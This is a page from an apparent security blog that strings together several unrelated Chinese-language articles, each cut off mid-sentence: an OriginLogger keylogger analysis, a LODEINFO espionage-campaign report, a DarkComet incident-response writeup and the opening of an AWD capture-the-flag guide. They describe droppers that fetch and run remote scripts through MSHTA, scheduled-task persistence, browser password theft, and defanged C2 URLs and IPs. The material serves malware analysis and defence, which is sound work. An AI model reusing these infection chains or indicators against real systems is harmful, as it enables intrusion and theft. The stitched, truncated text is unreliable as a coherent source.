Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106118

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

2019 年3 月4 日,鍵盤記錄惡意軟件Agent Tesla被發現。最近,研究人員發現了OriginLogger,這是一個基於Agent Tesla的惡意軟件。

我將在本文介紹OriginLogger 鍵盤記錄器惡意軟件,看看它如何處理配置變量的字符串混淆,以及我在查看提取的配置時發現的內容。

Palo Alto Networks 客戶通過Cortex XDR 和具有云交付安全服務(包括WildFire 和高級威脅預防)的下一代防火牆獲得OriginLogger 及其前身惡意軟件Agent Tesla 的保護。

OriginLogger的發現過程在搜索過程中,我偶然發現了一個銷售“完全無法檢測”(FUD)工具的人在2018 年發布的YouTube 視頻。此人展示了帶有鏈接的OriginLogger 工具,該鏈接可以從一個已知的網站購買該工具,該網站會傳播惡意軟件、漏洞利用等。

1.png

OriginLogger的部分功能

2.png

OriginLogger的全部功能

此外,他們還展示了Web 面板和惡意軟件生成器。

3.png

OriginLogger Web 面板

4.png

OriginLogger 生成器

上圖顯示的生成器圖像對我來說特別有趣,因為它提供了一個默認字符串:facebook、twitter、gmail、instagram、movie、skype、porn、hack、whatsapp、discord,這可能是這個應用程序獨有的。果然,在VirusTotal 上的內容搜索顯示了2022 年5 月17 日上傳的一個匹配文件(SHA256:595a7ea981a3948c4f387a5a6af54a70a41dd604685c72cbd2a55880c2b702ed)。

5.png

VirusTotal 搜索字符串

由於缺少依賴項,下載並嘗試運行此文件會導致錯誤。但是,知道生成器的文件名OriginLogger.exe,允許我擴展搜索並找到一個包含運行OriginLogger所需的所有文件的Zip歸檔文件(SHA256: b22a0dd33d957f6da3f1cd9687b9b00d0ff2bdf02d28356c1462f3dbfb8708dd)。

6.png

Zip 壓縮文件中的捆綁文件

settings.ini 文件包含生成器將使用的配置,在下圖中我們可以看到SmartWords 下列出的先前搜索字符串。

7.png

OriginLogger Builder settings.ini 文件

文件profile.origin 包含客戶在購買OriginLogger 時註冊的嵌入式用戶名/密碼。

8.png

OriginLogger 生成器登錄屏幕

有趣的是,如果你逆向配置文件中的值,就會顯示明文密碼。

9.png

profile.origin 文件的內容

10.png

OriginLogger 生成器登錄屏幕,以明文形式顯示密碼

當用戶登錄時,生成器會嘗試向OriginLogger 服務器進行身份驗證以驗證訂閱服務。

此時,我有了兩個版本的構建器。第一個(b22a0d*)包含在Zip文件中,編譯於2020年9月6日。另一個包含SmartWords字符串(595a7e*)的版本是在2022年6月29日編譯的,大約在第一個版本的兩年之後。

更高版本通過TCP/3345 向IP 23.106.223[.]46 發出身份驗證請求。自2022 年3 月3 日起,此IP 已解析到域originpro[.]me。此域已解析為以下IP 地址:

11.png

第二個IP,204.16.247[.]26,由於解析了這些其他OriginLogger 相關域而脫穎而出:

12.png

這個嘗試連接到一個不同的IP地址進行身份驗證。

13.png

PCAP 顯示遠程IP 地址

與originpro[.]me 關聯的IP 地址不同,74.118.138[.]76 不直接解析為任何OriginLogger 域,而是解析為0xfd3[.]com。在此域上逆向顯示它包含mail.originlogger[.]com的DNS MX和TXT記錄。

從2022 年3 月7 日左右開始,相關域開始解析為IP 23.106.223[.]47,它在最後一個八位字節中比用於originpro[.]me 的IP(使用46)高一個值。

這兩個IP 地址共享了多個SSL 證書:

14.png

共享SSL 證書

以IP 23.106.223開頭的兩個服務器的RDP登錄屏幕。 X顯示有多個帳戶的Windows Server 2012 R2服務器。

15.png

RDP登錄界面為23.106.223[.]

在進一步搜索該域時,我發現了用戶0xfd3 的GitHub 配置文件,其中包含下圖中所示的兩個存儲庫。

16.png

用戶0xfd GitHub

滴管由於Agent Tesla 和OriginLogger 都是商業化的鍵盤記錄器,因此初始dropper在不同的活動中會有很大的差異,不應被視為兩者都是獨一無二的。我將以下內容作為攻擊釋放OriginLogger 的真實示例來展示,並表明它們可能非常複雜和模糊。

初始誘餌文檔是一個Microsoft Word文件(SHA256: ccc8d5aa5d1a682c20b0806948bf06d1b5d11961887df70c8902d2146c6d1481)。打開時,該文件顯示一張德國公民的護照照片以及一張信用卡。我不太確定這對普通用戶有多大的吸引力,但無論如何,你都會注意到圖像下方包含許多Excel 工作表,如下圖所示。

17.jpeg

誘餌文件

這些工作表中的每一個都包含在單獨的嵌入式Excel 工作簿中,並且完全相同:

18.png

在每個工作簿中都有一個單一的宏,它只是保存要在以下位置執行的命令:

19.png

運行後,它將通過MSHTA 下載並執行hxxp://www.asianexportglass[.]shop/p/25.html 上的文件內容。該網站的屏幕截圖如下圖所示。

20.png

網站看起來合法

該文件在文檔中間包含一個嵌入的混淆腳本作為註釋。

21.png

網站隱藏評論

取消轉換腳本會顯示下圖中所示的代碼,該代碼從BitBucket 片段下載下一個有效負載(hxxps://bitbucket[.]org/!api/2.0/snippets/12sds/pEEggp/8cb4e7aef7a46445b9885381da074c86ad0d01d6/files/snippet.txt)並使用名為calsaasdendersw 的計劃任務建立持久性,該任務每83 分鐘運行一次,並再次使用MSHTA 執行hxxp://www.coalminners[.]shop/p/25.html 中包含的腳本。

22.png

未轉換的腳本

BitBucket 網站上託管的代碼段包含進一步混淆的PowerShell 代碼和兩個編碼和壓縮的二進製文件。

這兩個文件中的第一個(SHA256: 23fcaad34d06f748452d04b003b78eb701c1ab9bf2dd5503cf75ac0387f4e4f8)是使用CSharp-RunPE 的C# 反射加載器。該工具用於挖空一個進程並在其中註入另一個可執行文件,在本例中,鍵盤記錄器有效負載將放置在aspnet_compiler.exe 進程中。

23.png

執行dotNet程序集中包含的方法的PowerShell命令

請注意調用Execute 方法的projFUD.PA 類。 Morphisec 在2021 年發布了一個名為“揭示Snip3 Crypter,一種高度規避的RAT 加載器”的博客,他們在其中分析了一個加密器即服務,並使用該工件對加密器的開發者進行指紋識別。

兩個文件中的第二個(SHA256:cddca3371378d545e5e4c032951db0e000e2dfc901b5a5e390679adc524e7d9c)是OriginLogger 有效負載。

OriginLogger 配置如前所述,此分析的初衷是自動化並從鍵盤記錄器中提取與配置相關的詳細信息。為了實現這一點,我首先查看瞭如何使用與配置相關的字符串。

我不會深入研究惡意軟件的任何實際功能,因為它是相當標準的,並且反映了對原有Agent Tesla 變體的分析。為了開始提取與配置相關的細節,我需要弄清楚用戶提供的數據是如何存儲在惡意軟件中的。結果很簡單,生成器將獲取動態字符串值並將它們連接成一個巨大的文本塊,然後將其編碼並存儲在一個字節數組中,以便在運行時進行解碼。一旦惡意軟件運行並命中需要字符串的特定函數,例如將屏幕截圖上傳到的HTTP 地址,它會將偏移量和字符串長度傳遞給函數,然後該函數將在塊中的該位置顯示出文本。

為了說明這一點,你可以在下面看到用於主要文本塊的解碼邏輯。

224.png

OriginLogger 明文塊解碼

每個字節通過字節數組中的字節索引進行異或運算,並再次通過值170 進行異或運算以顯示明文。

對於生成器生成的每個示例,此文本塊將根據配置的不同而有所不同,因此偏移量和定位將發生變化。查看下圖中顯示的原始文本很有幫助,但如果不將其連接起來觀察,就很難確定邊界在哪裡結束或開始。

25.png

明文數據塊

當需要分析惡意軟件時,它也沒有幫助,因為你無法辨別什麼時候或在哪裡使用了哪些內容。為了解決下一個問題,我需要了解OriginLogger如何處理拼接。

下面你可以看到負責分割字符串的函數,後面是包含偏移量和長度的各個方法的開頭。

26.png

OriginLogger 字符串函數

在本例中,如果惡意軟件在某個時間點調用了B() 方法,它會將2、2、27 傳遞給圖像頂部的混淆後的無名函數。第一個整數用於存儲解碼字符串的數組索引。然後將第二個整數(offset)和第三個整數(length)傳遞給GetString函數以獲取文本。對於這個特定條目,結果值(如下所示)在創建它上傳的HTML 頁面期間使用,以顯示被盜數據。

微信截图_20220919110744.png

了解字符串解析的工作原理後,我就可以自動提取這些字符串。首先,查看底層中間語言(IL) 彙編指令會有所幫助。

27.png

用於字符串函數的OriginLogger IL 指令

對於每一個這樣的查找,函數塊的結構將保持不變。在上圖中的索引6-8 處,你將看到三個ldc.i4.X 指令,其中X 指示一個整數值,該整數值將在調用之前描述的拼接函數之前被推入堆棧。這種整體結構創建了一個框架,然後可以使用該框架來匹配二進製文件中的所有相應函數以進行解析。

利用這一點,我編寫了一個腳本來識別編碼的字節數組,確定異或值,然後以惡意軟件使用的相同方式拼接解碼的塊。此時,你可以滾動瀏覽解碼的字符串並查找感興趣的內容。一旦識別出某些內容,知道了偏移量和隨後的函數名,就可以利用惡意軟件了。

28.png

OriginLogger 解碼字符串

此時,我開始重命名混淆的方法以反映它們的實際值,這使得分析更容易。

29.png

OriginLogger FTP 上傳函數

需要注意的是,通過將字符串類型指定為委託並識別感興趣的令牌,可以使用de4dot 及其動態字符串解密功能來實現相同的字符串反混淆,這對於單個文件分析非常有效。

下圖是2020年3月上傳的Chrome密碼恢復代碼:

30.png

Chrome 密碼恢復

將上圖與帶有重命名方法的OriginLogger示例代碼進行比較,如下圖所示。

31.png

OriginLogger Chrome 密碼竊取函數

通過工件識別OriginLogger使用這個工具,我提取了1917個不同的配置,這可以深入了解所使用的洩露方法,並允許基於底層基礎設施對樣本進行聚類。例如,為將鍵盤記錄器和屏幕截圖數據上傳到的示例配置的一個URL 是hxxps://agusanplantation[.]com/new/new/inc/7a5c36cee88e6b.php。該URL 不再處於活動狀態,因此我開始搜索有關它的歷史信息,以了解這些HTTP POST 請求的接收端是什麼。通過將域插入URLScan.io,它會在同一目錄中顯示面板的登錄頁面,但更重要的是,在四個月前掃描此主機時,在此主機上觀察到了OriginLogger Web 面板(SHA256:c2a4cf56a675b913d8ee0cb2db3864d66990e940566f57cb97a9161bd262f271)。

32.png

域的URLScan.io 掃描歷史記錄

同樣,其中一種洩露方法是通過Telegram 木馬。為了使用它們,OriginLogger 需要包含一個Telegram 木馬令牌,以便惡意軟件可以與之交互。這為分析正在使用的基礎設施提供了另一個獨特的機會。在這種情況下

abstract_digital_japan-1200x600.jpg自2019年以來,卡巴斯基一直在跟踪涉及LODEINFO惡意軟件家族的活動,尋找迭代版本,並徹底調查利用這些新變體的任何攻擊。 LODEINFO是一種複雜的無文件惡意軟件,最在2020年2月就被發現被命名了。惡意軟件被開發人員定期修改和升級,專門針對日本的媒體、外交、政府和公共部門組織和智庫。

1.png

日本可能是LODEINFO的主要目標

此後,研究人員繼續追踪LODEINFO。 JPCERT/CC和Macnica Networks都報導過其迭代版本。卡巴斯基研究人員還在2021 HITCON會議上分享了新發現,涵蓋2019年至2020年的LODEINFO活動。

在2022年3月,卡巴斯基研究人員觀察到一個Microsoft Word文件被用作一些攻擊的感染媒介。同年6月,針對日本政府或相關機構的SFX文件被發現,文件中使用了日本著名政治家的名字,並使用了含有日本內容的誘餌文件。還觀察到一個名為DOWNIISSA的新的下載程序shellcode,用於部署LODEINFO後門。

接下來,我們將首先介紹新的感染方法的技術分析,如SFX文件和DOWNIISSA以及我們的發現。之後將介紹LODEINFO後門的技術分析,以及每個版本的後門的相關shellcode。

初始感染:VBA + DLL側加載在對2022年3月的攻擊進行調查期間,我們發現了一封帶有惡意附件的魚叉式釣魚電子郵件,其中安裝了惡意軟件持久性模塊,該模塊由合法的EXE文件和通過DLL側加載技術加載的惡意DLL文件組成。例如,以下部分描述了一個上傳到Virustotal的惡意Microsoft Word文件(MD5: da20ff8988198063b56680833c298113)。一旦目標打開惡意文檔文件,就會顯示一條日語消息:根據您的網絡安全設置,單擊上面黃色文檔欄上的“啟用編輯”和“啟用內容”以打開該文件。誘餌受害者點擊“啟用內容”並啟用嵌入式宏。

2.png

欺騙目標點擊“啟用內容”並嵌入VBA代碼日文信息

嵌入的VBA代碼創建文件夾C:\Users\Public\TMWJPA\,並在同一文件夾中釋放一個名為GFIUFR.zip (MD5: 89bd9cf51f8e01bc3b6ec025ed5775fc)的壓縮文件。 GFIUFR.zip包含兩個文件:NRTOLF.exe和K7SysMn1.dll。 NRTOLF.exe (MD5: 7f7d8c9c1b6735807aefb0841b78f389)是一個數字簽名的合法EXE文件,來自K7Security Suite軟件,用於DLL側加載。 K7SysMn1.dll (MD5: cb2fcd4fd44a7b98af37c6542b198f8d)是NRTOLF.exe附帶加載的惡意DLL。惡意DLL文件包含LODEINFO shellcode的加載程序。這個DLL是一個已知的LODEINFO加載程序模塊。它包含一個由0.5.9版本內部識別的單字節XOR加密LODEINFO外殼代碼。在我們調查的前幾次攻擊中,攻擊者也使用了這種感染方法。

除此之外,我們還發現了另外兩個與LODEINFO相關的植入程序。

初始感染2:SFX + DLL側加載其中一個植入程序是RAR格式的自解壓存檔(SFX)文件(MD5 76cdb7fe189845a0bc243969dba4e7a3),該文件也上傳到了Virustotal。類似地,歸檔文件包含三個文件,分別為1.docx、K7SysMn1.dll和K7SysMon.exe,其中包含如下所示的自解壓腳本命令。惡意軟件開發者還添加了一條用日語寫的評論,可以翻譯為“以下評論包含一個自解壓腳本命令”:

3.png

當目標用戶執行這個SFX文件時,歸檔文件將其他文件放置到%temp% dir,並將1.docx作為一個僅包含幾個日語單詞的誘餌打開,如下圖截圖所示。

4.png

來自1.docx的簡單誘餌文檔內容

在向用戶顯示一個誘餌文件時,歸檔腳本啟動K7SysMon.exe,它通過DLL側加載從K7SysMn1.dll (MD5: a8220a76c2fe3f505a7561c3adba5d4a)加載惡意DLL。 k7sysmm1 .dll包含一個BLOB,其中有一個模糊的例程,在過去的活動中沒有觀察到。嵌入式BLOB被劃分為4字節塊,每個部分存儲在DLL二進製文件的50個隨機命名的導出函數中的一個中。這些導出函數在分配的緩衝區中重構BLOB,然後使用一個單字節的XOR鍵解碼LODEINFO shellcode。

5.png

重新組裝有效負載BLOB

最終由該植入程序部署的負載是LODEINFO v0.6.3。

初始感染3:SFX + DLL側加載+額外的BLOB文件我們還發現了另一個類似的SFX文件,名為<masked>的sns電影的傳播請求。攻擊者利用了一位著名日本政治家的名字。嵌入的自解壓腳本和文件與本文的初始感染2部分中討論的前一個示例非常相似。但是,這個示例包含一個名為K7SysMon.Exe.db的附加文件。以前觀察到的加載程序模塊在可執行文件中嵌入了一個帶有加密shellcode的BLOB,但是在這個示例K7SysMn1.dll中不包含BLOB。相反,加載程序模塊讀取K7SysMon.Exe.db文件作為加密的BLOB,並解密shellcode,這是LODEINFO v0.6.3後門。 SFX文件的標題和文件的內容都是要求在SNS(社交網絡服務)上傳播這位著名政治家的視頻的內容。根據最後的歸檔時間戳,我們認為該SFX文件是在2022年6月29日通過魚叉式網絡釣魚郵件傳播的。從文件名稱和誘餌文件來看,目標是日本執政黨或相關機構。

2022年7月4日,另一個SFX文件(MD5 edc27b958c36b3af5ebc3f775ce0bcc7)被發現。存檔文件、有效載荷和C2地址與前面的示例集非常相似。唯一明顯的區別是這份誘餌文件的日文標題:投保申請。我們認為這個SFX文件可能被用來針對日本媒體公司。

初始感染4:VBA +未發現的下載程序shellcode downniissa早在2020年8月,我們發現了一個名為DOWNJPIT的無文件下載程序shellcode,這是LODEINFO惡意軟件的一個變體,並在HITCON 2021上就其進行了演示。 2022年6月,我們發現了另一個無文件下載程序shellcode,它由一個有密碼保護的Microsoft Word文件提供。文件名為增強日美同盟的威懾力和應對能力.doc。該文檔文件包含的惡意宏代碼與之前調查的樣本完全不同。打開後,該文檔文件顯示一條日文消息,以啟用以下VBA代碼。

6.png

2022年6月發現MS Word文件中的惡意VBA代碼

與過去的示例(如本文初始感染1中描述的示例)不同的是,惡意VBA宏被用來釋放DLL側加載技術的不同組件,在這種情況下,惡意宏代碼直接在WINWORD.exe進程的內存中註入並加載嵌入的shellcode。這個植入程序在過去的活動中是不存在的,shellcode也是LODEINFO v0.6.5的一個新發現的多級下載程序shellcode。

這個下載程序的shellcode完全不同於DOWNJPIT的變體。新的下載程序shellcode裡面有兩個URL:

http://172.104.112[.]218/11554.htm

http://www.dvdsesso[.]com/11554.htm

我們將這個新的下載程序命名為DOWNIISSA,其中IISSA是url中找到的文件名中的11554派生的字符串。下圖顯示了從惡意文檔文件到DOWNIISSA下載的最終有效負載的複雜感染流程。

7.png

通過DOWNIISSA的LODEINFO感染過程

如上所述,嵌入式宏生成DOWNIISSA shellcode並將其註入到當前進程(WINWORD.exe)中。主要的下載程序代碼是base64編碼的,並放在DOWNIISSA shellcode的開頭,由shellcode本身進行解碼和修補。

8.png

DOWNIISSA base64解碼和自修復

在它被解碼後,一些重要的字符串被發現是用一個字節的異或加密。例如,兩個C2目的地址用以下代碼解密。

9.png

DOWNIISSA shellcode主函數中嵌入的異或C2目的地

DOWNIISSA使用URLDownloadToFileA() API函數從URL地址下載BLOB,並將其釋放在%TEMP%/${TEMP}.tmp。然後,它將文件讀入當前進程中分配的內存中,並立即釋放下載的臨時文件。我們確認了這兩個URL都提供了相同的二進制數據,該數據與存儲在BLOB本身末尾的一字節XOR鍵進行了XOR。異或解密後,發現LODEINFO後門shellcode v0.6.5。在感染的最後階段,DOWNIISSA創建一個msiexec.exe實例,並在進程的內存中註入LODEINFO後門shellcode。

這個涉及DOWNIISSA shellcode的新感染流在之前使用LODEINFO的活動中沒有出現過,這是2022年的一個新的TTP。

除了在這個示例中找到的11554.htm文件,我們還發現了其他名稱的文件,如3390.htm, 5246.htm和16412.htm,在2022年7月託管在相同的C2服務器上。 3390.htm (MD5: 0fcf90fe2f5165286814ab858d6d4f2a)和11554.htm (MD5: f7de43a56bbb271f045851b77656d6bd)是通過downniissa惡意軟件下載的單字節異或lodeinfo v0.6.5 shellcode。每個示例的XOR鍵都在文件末尾找到。 5246.htm (MD5: 6780d9241ad4d8de6e78d936fbf5a922)和16412.htm (MD5: 15b80c5e86b8fd08440fe1a9ca9706c9)文件是單字節異或唯一數據結構。 5246.htm文件中的數據結構如下所示:

10.png

該數據結構包含三個文件的名稱:K7SysMon.exe, K7SysMn1.dll (MD5: c5bdf14982543b71fb419df3b43fbf07)和K7SysMon.exe.db (MD5: c9d724c2c5ae9653045396deaf7e3417)。這表明一個未被發現的下載程序模塊從C2下載5246.htm,以協助在受害者的設備上安裝一些嵌入式文件。

LODEINFO首次發現於2019年,LODEINFO及其感染方法不斷更新和改進,成為針對日本組織的更複雜的網絡間諜工具。 LODEINFO植入程序和加載程序模塊也不斷更新,以規避安全產品,並使安全研究人員的手動分析複雜化。

LODEINFO後門shellcode的演變如上所述,我們已經介紹了初始感染方法在不同的攻擊場景中有所不同,並且LODEINFO shellcode定期更新以用於每個感染媒介。接下來,我們將介紹2022年LODEINFO後門shellcode的改進。

卡巴斯基分別在3月、4月和6月調查了LODEINFO shellcode的新版本,即v0.5.9、v0.6.2、v0.6.3和v0.6.5。下圖顯示了該惡意軟件自發現以來的演變時間線。

2.1.png

LODEINFO發佈時間表

LODEINFO v0.5.6:使用古老的加密算法對C2通信進行多重加密這個從加載程序模塊中提取的LODEINFO v0.5.6 shellcode演示了針對某些安全產品的幾種增強規避技術,以及開發人員實現的三個新的後門命令。

在感染目標計算機之後,LODEINFO後門信標將計算機信息發送到C2,例如當前時間、ANSI代碼頁(ACP)標識符、MAC地址和主機名。信標還包含一個硬編碼密鑰(NV4HDOeOVyL),後來被古老的Vigenere密碼所使用。此外,隨機生成的垃圾數據被附加到數據的末尾,可能是為了逃避基於包大小的信標檢測。

2.2.png

在LODEINFO v0.5.6中增加了Vigenere密碼密鑰和隨機生成的垃圾數據

2021年12月,我們發現了LODEINFO v0.5.8,並進行了輕微修改,在Vigenere密碼密鑰後面添加了LODEINFO植入版本號。

用於發送數據的加密函數也被修改了,使其更加複雜。正如在前面的變體中觀察到的,它取要發送的數據的SHA512哈希值的前48個字節。然後,它使用一個等於運行時間的四字節XOR鍵XOR數據,並在數據之前進行預處理。發送的前16個字節來自另一個SHA512哈希值,這一次來自前面提到的硬編碼AES密鑰(NV4HDOeOVyL)。它在base64編碼的有效負載的末尾加密11個字節(用從“=”到“.”替換的填充),以動態生成第二個Vigenere密碼密鑰和最終生成數據的變量。 Vigenere密碼使用第二個密鑰加密base64編碼的標頭(url-safe替換了從“=”到“.”的填充)。

2.3.png

C2通信中的加密算法和數據流

最後,通過上面描述的複雜步驟,使用第二個密鑰、加密標頭和有效負載生成要發送到C2的數據。最終的數據包結構如下:

2.4.png

LODEINFO v0.5.6:用於後門命令標識符的2字節異或混淆

這次更新包括修改的加密算法和後門命令標識符,這些標識符在以前的LODEINFO shellcode中定義為四字節硬編碼值。 LODEINFO v0.5.6後門命令標識符被一個雙字節的異或操作混淆了。在比較命令標識符之前,對每個命令應用異或操作。對於每個命令,硬編碼的異或鍵不同,如下所示:

2.5.png

用於後門命令標識符的四字節堆棧字符串的兩字節異或

我們還觀察到攻擊者在LODEINFO v0.5.6及更高版本中實現了新的後門命令,如“comc”、“autorun”和“config”。 LODEINFO後門中嵌入了21條後門命令,包括3條新命令,用於控制受害主機。

LODEINFO v0.5.9:獲取API函數的哈希算法與v0.5.8相比,v0.5.9有一個新的哈希計算算法。該哈希算法被惡意軟件用來計算API函數名的哈希值,以解析函數地址。在本示例中,它似乎是由開發者開發的自定義算法。哈希計算的邏輯有一個XOR運算,在末尾有一個兩字節的鍵和一個硬編碼的XOR鍵,這在每個示例中都是不同的。

2.6.png

更改了哈希計算算法和v0.5.9中附加的雙字節異或鍵

這一修改表明,攻擊者的目標是逃避基於簽名的檢測,並使反向工程過程對安全研究人員來說更加困難。

LODEINFO v0.6.2:規避en_US環境在LODEINFO v0.6.2及更高版本中,shellcode有一個新特性,它在遞歸函數中查找受害者設備上的“en_US”區域設置,如果找到該區域設置,則停止執行。

2.7.png

如果找到“en-US”區域設置,則遞歸調用

根據卡巴斯基的調查,以及收集到的這個惡意軟件的開源情報,這些攻擊的主要目標是日本機構。因此,此功能的目的是避免在沙盒和研究人員設備上執行,這在英語語言環境中最常見。

LODEINFO v0.6.2:生成C2通信的用戶代理負責生成C2通信的用戶代理的函數也從v0.6.2更新了,惡意軟件使用以下硬編碼的格式化字符串生成用戶代理字符串,其中%s被替換為安裝的chrome.exe應用程序的版本號:

“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36″

惡意軟件從以下其中一個文件路徑的EXE文件中獲取已安裝chrome.exe的版本號:

C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe

C:\ProgramFiles\Google\Chrome\Application\chrome.exe

C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe

否則,如果系統上沒有這些文件,惡意軟件使用硬編碼版本98.0.4758.102創建以下用戶代理字符串:

Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36

LODEINFO v0.6.2:支持在‘memory’ 命令中註入64位shellcode基於我們對該版本的深入分析,我們發現了一個非常有趣的更新,即從v0.6.2版本實現的shellcode加載方案,在處理' memory '命令的函數中。

2.8.png

檢查操作系統架構和下一個shellcode架構

在內存注入過程中,使用負責內存命令的函數執行,惡意軟件檢查第二階段shellcode的第一個字節,使用一個神奇的十六進制值確定shellcode體系結構。如果第一個字節為0xE9,則表示架構為32位。如果第一個字節為0x8D,則表示架構為64

一、準備階段1.1 基本情況DarkComet (暗黑彗星)是由Jean-Pierre Lesueur(稱為DarkCoderSc)開發的遠程訪問木馬(稱為RAT),在2012 年初開始擴散,它用於許多有針對性的攻擊,能夠通過網絡攝像頭拍照,通過連接到PC 的麥克風竊聽對話,並獲得對受感染機器的完全控制。該RAT 還以其鍵盤記錄和文件傳輸功能而聞名,因此,任何遠程攻擊者都可以將任何文件加載到受感染的機器上,甚至竊取管理員權限、計算機/用戶名、語言/國家、操作系統信息、使用的內存、網絡攝像頭信息、文檔等。它會禁用任務管理器、註冊表編輯器和文件夾選項,修改註冊表項以禁用Windows 防火牆設置,此操作允許此惡意進程執行而不會被Windows 防火牆檢測到。別名有:Fynloski、Krademok、DarkKomet 等。

1.2 功能DarkKomet 主要功能:遠控,對用戶行為進行監控並為攻擊者開啟SYSTEM 後門,竊取用戶信息並回傳竊取的信息發送給攻擊者,同時還可以下載其他惡意軟件。

1.3 傳播方式DarkKomet 將自身偽裝成筆記本電腦觸控板的驅動程序Synaptics Pointing Device Driver,啟動後,會全盤遍歷exe 文件、xlsx 文件,並將目標文件更新到病毒資源中,將shellcode 注入的圖標資源替換為目標文件圖標,然後用病毒文件覆蓋目標文件,完成感染,實現不死及復生能力。並可通過U盤插入、xlsx 文件分享、遠控軟件捆綁實現橫向擴散,具有極強傳播能力。

二、檢測階段1.jpeg

貨拉拉終端應急響應檢測機制基於TTP驅動、離群數據驅動、殺毒事件驅動、威脅情報驅動混合。該次事件由EDR收集終端全量啟動項數據,結合威脅情報接口,實現終端權限維持數據基線的分鐘級掃描。高危事件通過webhook 實現IM告警,方便安全運營人員實時接入處置,並通過工單記錄匯總。

聚合N day內該病毒感染的終端量及感染者的賬號、用戶名、部門等信息,最終由多條alert形成單條完整incident。

2.jpeg

通過webhook/工單形式將消息推送給終端安全運營人員對事件進行下鑽,IOC/TTP加入EDR實時檢測阻斷規則,完成由單次事件檢測—— 一類事件阻斷的事件閉環。

三、抑制階段3.1 事件的處置1、攔截回連c2域名、IP,中斷連接。

2、遠程接入應急溯源,獲取TTP。

四、根除階段4.1 刪維權該病毒通過Run 鍵實現到權限維持(開機自啟動),刪除啟動項

3.jpeg

4.2 清進程結束2 個Synaptics.exe進程

4.jpeg

4.3 刪文件進入DarkKomet 文件目錄,只有WS文件夾,卻找不到相關可執行文件

5.jpeg

懷疑DarkKomet隱藏自身,取消勾選【隱藏受保護的操作系統文件】並選中【顯示隱藏文件】

6.jpeg

被隱藏的病毒文件Synaptics.exe顯形,

7.jpeg

刪除文件,提示需要SYSTEM權限(高於Administrator),病毒文件通過修改文件屬主及文件權限實現強行駐留

8.jpeg

修改文件屬主為administrator並繼承權限後,刪除病毒文件

微信图片_20221202152016.png

4.4 溯源頭清除威脅後,溯源入口點,從取證角度獲取2022-05-17 16:29:30 運行軟件信息,發現可疑文件路徑

F:\柯美黑白機64位系統\

10.jpeg

可疑點:該文件位於F盤,且運行時間與病毒創建時間密切相關,但用戶終端上卻只有C、D、E盤。

12.jpeg

猜測該盤為第三方便攜插入式U盤,諮詢用戶後得到【安裝打印機】細節。

由此推測:該病毒原本位於U盤中,安裝打印機時插入U盤,U盤內的病毒自動感染終端位於C盤的文件,實現橫向擴散。

由於該病毒具有感染性,推測還感染了其他文件。通過遍歷NTFS文件系統MFT-TIME,獲取2022-05-17 16:29:30 - 2022 - 05 -17 16:29:40 創建及修改的所有文件,獲取被感染文件信息

13.jpeg

通過日誌回溯取證,發現f:\京瓷複印機\Kx6111118_en\setup.exe入駐Run鍵,創建病毒文件C:\ProgramData\Synaptics\Synaptics.exe,並將Synatics.exe添加啟動項。由此映證猜測,C2病毒感染源頭為安裝打印機時插入U盤。

五、恢復階段1、清除被感染的'_cache_'文件

2、IOC/TTP 加入EDR、殺毒,複驗攻擊能被實時阻斷。

3、受損用戶更改密碼

六、總結階段IOC:

DNS:xred.mooo.com

IP:69.42.215.252

TTP:

14.jpeg

6.1 歷史事件某用戶請第三方安裝師傅安裝打印機,插入U 盤後,U 盤中已存在的DarkKomet 組織synaptics 病毒自動運行,進而感染終端位於C 盤下的十餘個進程及文件。

某員工下載被投毒的todesk 進行遠程辦公【具有todesk 功能,實為synaptics 遠控病毒新變種】,導致感染synaptics 病毒。

某員工下載CAD 破解軟件,其中夾雜最新版synaptics 病毒。

.

本輪synaptics 應急響應,終端產生的威脅主要來自:U 盤擴散、軟件投毒捆綁這兩種形式。病毒最明顯特徵為:未簽名進程C:\ProgramData\Synaptics\Synaptics.exe 入駐Run鍵以權限維持。

當下階段,利用人性弱點進行投毒的事件層出不窮。針對員工高頻安裝的瀏覽器類、IM類、運維工具類、遠程控制類軟件,需做好軟件與對應簽名的映射驗證,並針對高危場景離群數據進行威脅狩獵。輔以外部/內生威脅情報,構建濾網機制,對啟動項軟件流水加以管控。實現啟動項快照機制,對未知/離群/高危/權限維持數據定時清理,在提升攻擊者成本的同時,也增加檢測/阻斷未知攻擊的可能。

0# 什么是AWD

0.1# AWD赛制介绍

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。

在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

0.2# 比赛整体流程

  • 赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们 SSH 或者 VNC 的用户名和密码,还有相关IP等信息
  • 安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)
  • 自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分

1# 比赛环境

通常比赛环境有以下三种情况:

  • 混合靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Linux靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Windows靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7

2# 安全加固环节(Defense)

2.0# 基本加固流程

2.0.1 Windows加固流程

先备份:Web源码、数据库

